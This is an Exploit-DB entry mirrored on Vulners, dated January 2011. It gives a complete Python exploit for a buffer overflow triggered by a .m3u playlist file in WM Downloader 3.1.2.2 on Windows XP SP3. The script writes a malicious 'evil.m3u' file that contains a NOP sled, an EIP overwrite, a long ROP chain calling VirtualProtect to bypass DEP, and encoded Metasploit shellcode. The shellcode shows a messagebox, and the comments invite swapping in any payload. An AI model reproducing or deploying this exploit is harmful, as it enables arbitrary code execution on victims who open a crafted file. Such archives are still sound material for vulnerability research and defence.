Lucene search
K

WM Downloader 3.1.2.2 2010.04.15 - '.m3u' File Buffer Overflow (DEP Bypass)

🗓️ 29 Jan 2011 00:00:00Reported by sicknessType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Buffer Overflow in WM Downloader 3.1.2.2 (.m3u) file with DEP Bypas

Code
#!/usr/bin/env python
# WM Downloader 3.1.2.2 2010.04.15 (.m3u) Buffer Overflow + DEP Bypass
# Author: sickness
# Download : http://mini-stream.net/wm-downloader/
# Tested : Windows XP Professional SP3 (EN) latest updates with IE8 and IE7
# DATE   : 29/01/2011
###################################################################
# You might need to change the offset.
# The payload can be replaced with whatever you want, there is enough space.
# 
# Hello corelanc0d3r!
# http://redmine.corelan.be:8800/projects/pvefindaddr
###################################################################

import sys

header='#EXTM3U\n'
junk ='http://'+'\x90' * 17400
junk+='\x41'*17
eip  ='\x1E\x17\x80\x7C'	# RETN
junk2='\x41\x41\x41\x41' 


rop ='\x77\x92\xD7\x5A'	# PUSH ESP # MOV EAX,EDX # POP EDI # RETN
rop+='\x42\xE8\xC1\x77'	# PUSH EDI # POP EAX # POP EBP # RETN
rop+='\x41\x41\x41\x41'	# POP EBP
rop+='\xBB\xA5\x72\x74'	# INC ESI # PUSH EAX # POP ESI # POP EBP # RETN 4
rop+='\x41\x41\x41\x41' # POP EBP
rop+='\x94\x28\xC2\x77'	# ADD ESP,20 # POP EBP # RETN
rop+='\x41\x41\x41\x41'	# RETN 4
rop+='\x41\x41\x41\x41'	# POP EBP

vp ='\xD4\x1A\x80\x7C'	# VirtualProtect()
vp+='WWWW'		# SC
vp+='XXXX'		# SC
vp+='YYYY'		# Size
vp+='ZZZZ'		# Policy
vp+='\xD0\x23\x10\x5D'	# Writable Memory
vp+='\x41\x41\x41\x41'	# Compensate ADD ESP,20
vp+='\x41\x41\x41\x41'	# Compensate ADD ESP,20

rop2 ='\x2B\xEC\xC4\x77'		# ADD EAX,100 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\xF5\xD7\xC1\x77'	# ADD EAX,20 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\xF5\xD7\xC1\x77'	# ADD EAX,20 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\xF5\xD7\xC1\x77'	# ADD EAX,20 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x1F\xC1\xDD\x73'	# MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN
rop2+='\x41\x41\x41\x41'	# POP ESI
rop2+='\x42\xE8\xC1\x77'	# PUSH EDI # POP EAX # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\xBB\xA5\x72\x74'	# INC ESI # PUSH EAX # POP ESI # POP EBP # RETN 4
rop2+='\x41\x41\x41\x41' 	# POP EBP
rop2+='\x2B\xEC\xC4\x77'	# ADD EAX,100 # POP EBP # RETN
rop2+='\x41\x41\x41\x41' 	# POP RETN 4
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\xF5\xD7\xC1\x77'	# ADD EAX,20 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\xF5\xD7\xC1\x77'	# ADD EAX,20 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\xF5\xD7\xC1\x77'	# ADD EAX,20 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP'
rop2+='\xCF\x43\xDD\x73'	# MOV DWORD PTR DS:[ESI+24],EAX # POP ESI # RETN
rop2+='\x41\x41\x41\x41'	# POP ESI
rop2+='\x42\xE8\xC1\x77'	# PUSH EDI # POP EAX # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\xBB\xA5\x72\x74'	# INC ESI # PUSH EAX # POP ESI # POP EBP # RETN 4
rop2+='\x41\x41\x41\x41' 	# POP EBP
rop2+='\xC3\xA9\xE5\x73'	# XOR EAX,EAX # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# RETN 4
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x2B\xEC\xC4\x77'	# ADD EAX,100 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x2B\xEC\xC4\x77'	# ADD EAX,100 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x2B\xEC\xC4\x77'	# ADD EAX,100 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x2B\xEC\xC4\x77'	# ADD EAX,100 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x2B\xEC\xC4\x77'	# ADD EAX,100 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x46\x21\xE1\x73'	# MOV DWORD PTR DS:[ESI+28],EAX # POP ESI # RETN
rop2+='\x41\x41\x41\x41'	# POP ESI
rop2+='\x42\xE8\xC1\x77'	# PUSH EDI # POP EAX # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\xBB\xA5\x72\x74'	# INC ESI # PUSH EAX # POP ESI # POP EBP # RETN 4
rop2+='\x41\x41\x41\x41' 	# POP EBP
rop2+='\xC3\xA9\xE5\x73'	# XOR EAX,EAX # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# RETN 4
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x1D\xEC\xC4\x77'	# ADD EAX,40 # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x1D\x7D\x15\x77'	# INC ESI # RETN
rop2+='\x1D\x7D\x15\x77'	# INC ESI # RETN
rop2+='\x1D\x7D\x15\x77'	# INC ESI # RETN
rop2+='\x1D\x7D\x15\x77'	# INC ESI # RETN
rop2+='\x46\x21\xE1\x73'	# MOV DWORD PTR DS:[ESI+28],EAX # POP ESI # RETN
rop2+='\x41\x41\x41\x41'	# POP ESI
rop2+='\x42\xE8\xC1\x77'	# PUSH EDI # POP EAX # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# POP EBP
rop2+='\x1D\x2D\xE2\x73'	# ADD EAX,4 # RETN
rop2+='\x1D\x2D\xE2\x73'	# ADD EAX,4 # RETN
rop2+='\x1D\x2D\xE2\x73'	# ADD EAX,4 # RETN
rop2+='\x1D\x2D\xE2\x73'	# ADD EAX,4 # RETN
rop2+='\x1D\x2D\xE2\x73'	# ADD EAX,4 # RETN
rop2+='\x1D\x2D\xE2\x73'	# ADD EAX,4 # RETN
rop2+='\xB1\x9C\x5C\x75'	# PUSH EAX # POP EBP # RETN 4
rop2+='\x26\x25\xAA\x71'	# MOV ESP,EBP # POP EBP # RETN
rop2+='\x41\x41\x41\x41'	# RETN 4
rop2+='\x41\x41\x41\x41'	# POP EBP


# msfpayload windows/messagebox TITLE=OWNED TEXT="Feel the pwnsauce." R | msfencode -a x86 -b '\x00\x0a\x0d\x20\x25\x09' -t c
sc = ("\xd9\xe5\xd9\x74\x24\xf4\x5d\xb8\xe9\xf2\x97\x0f\x29\xc9\xb1"
"\x43\x31\x45\x18\x03\x45\x18\x83\xed\x15\x10\x62\xd6\x0e\x4e"
"\x54\x9d\xf4\x85\x56\x8c\x46\x12\xa8\xf9\xc2\x56\xbb\xc9\x81"
"\x1f\x30\xa1\xe3\xc3\xc3\xf3\x03\x77\xad\xdb\x98\xb1\x6a\x53"
"\x86\xc8\x79\x32\xb7\xe3\x81\x24\xd7\x88\x12\x83\x33\x04\xaf"
"\xf7\xb0\x4e\x18\x70\xc7\x84\xd3\xca\xdf\xd3\xbe\xea\xde\x08"
"\xdd\xdf\xa9\x45\x16\xab\x28\xb4\x66\x54\x1b\x88\x75\x06\xdf"
"\xc8\xf2\x50\x1e\x07\xf7\x5f\x67\x73\xfc\x5b\x1b\xa0\xd5\xee"
"\x02\x23\x7f\x35\xc5\xdf\xe6\xbe\xc9\x54\x6c\x9a\xcd\x6b\x99"
"\x90\xe9\xe0\x5c\x4f\x78\xb2\x7a\x93\x1b\xf8\x31\xa3\xf2\x2a"
"\xbc\x51\x8d\x11\xd7\x17\xc3\x9b\xc4\x7a\x33\x3c\xeb\x84\x3c"
"\xca\x51\x7f\x79\xb3\x81\x9d\x0e\xcb\x2e\x46\xa2\x3b\xc0\x79"
"\xbd\x43\x54\xc0\x49\xd4\x0b\xa7\x69\x65\xbc\x04\x5b\x4b\x58"
"\x03\xee\xe0\xc5\xa1\x98\x5b\x22\x4c\x11\x85\x7c\xaf\x74\x4e"
"\x08\x8d\x26\xf5\xa2\xb0\x8b\xb5\x34\xa8\x37\x94\xd2\xb0\xc8"
"\xe7\xdc\x5b\x72\x40\x03\xbc\x12\x3f\x14\xf2\xa7\x8e\x41\x82"
"\x7b\xd5\x70\x1a\x60\x7d\x1e\x32\x3e\x5e\x88\x39\xdf\xeb\x2b"
"\xd6\x3f\x64\xdb\x48\x57\xa4\x57\xfd\xc2\xcc\xd1\x98\x69\x61"
"\xef\xab\xf9\x35\x2b\x3e\x70\x24\x02\xec\xd0\xf4\x34\x42\x2b"
"\x2a\x87\xa2\x83\x34\xbd\x2a")

nops = '\x90' * 150
rest = '\x90' * 3600

exploit =header+junk+eip+junk2+rop+vp+rop2+nops+sc+rest

file = open('evil.m3u','w')
file.write(exploit)
file.close()
print 'Writing file, please wait ...\n'
print 'Done!'

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2011 00:00Current
7.4High risk
Vulners AI Score7.4
22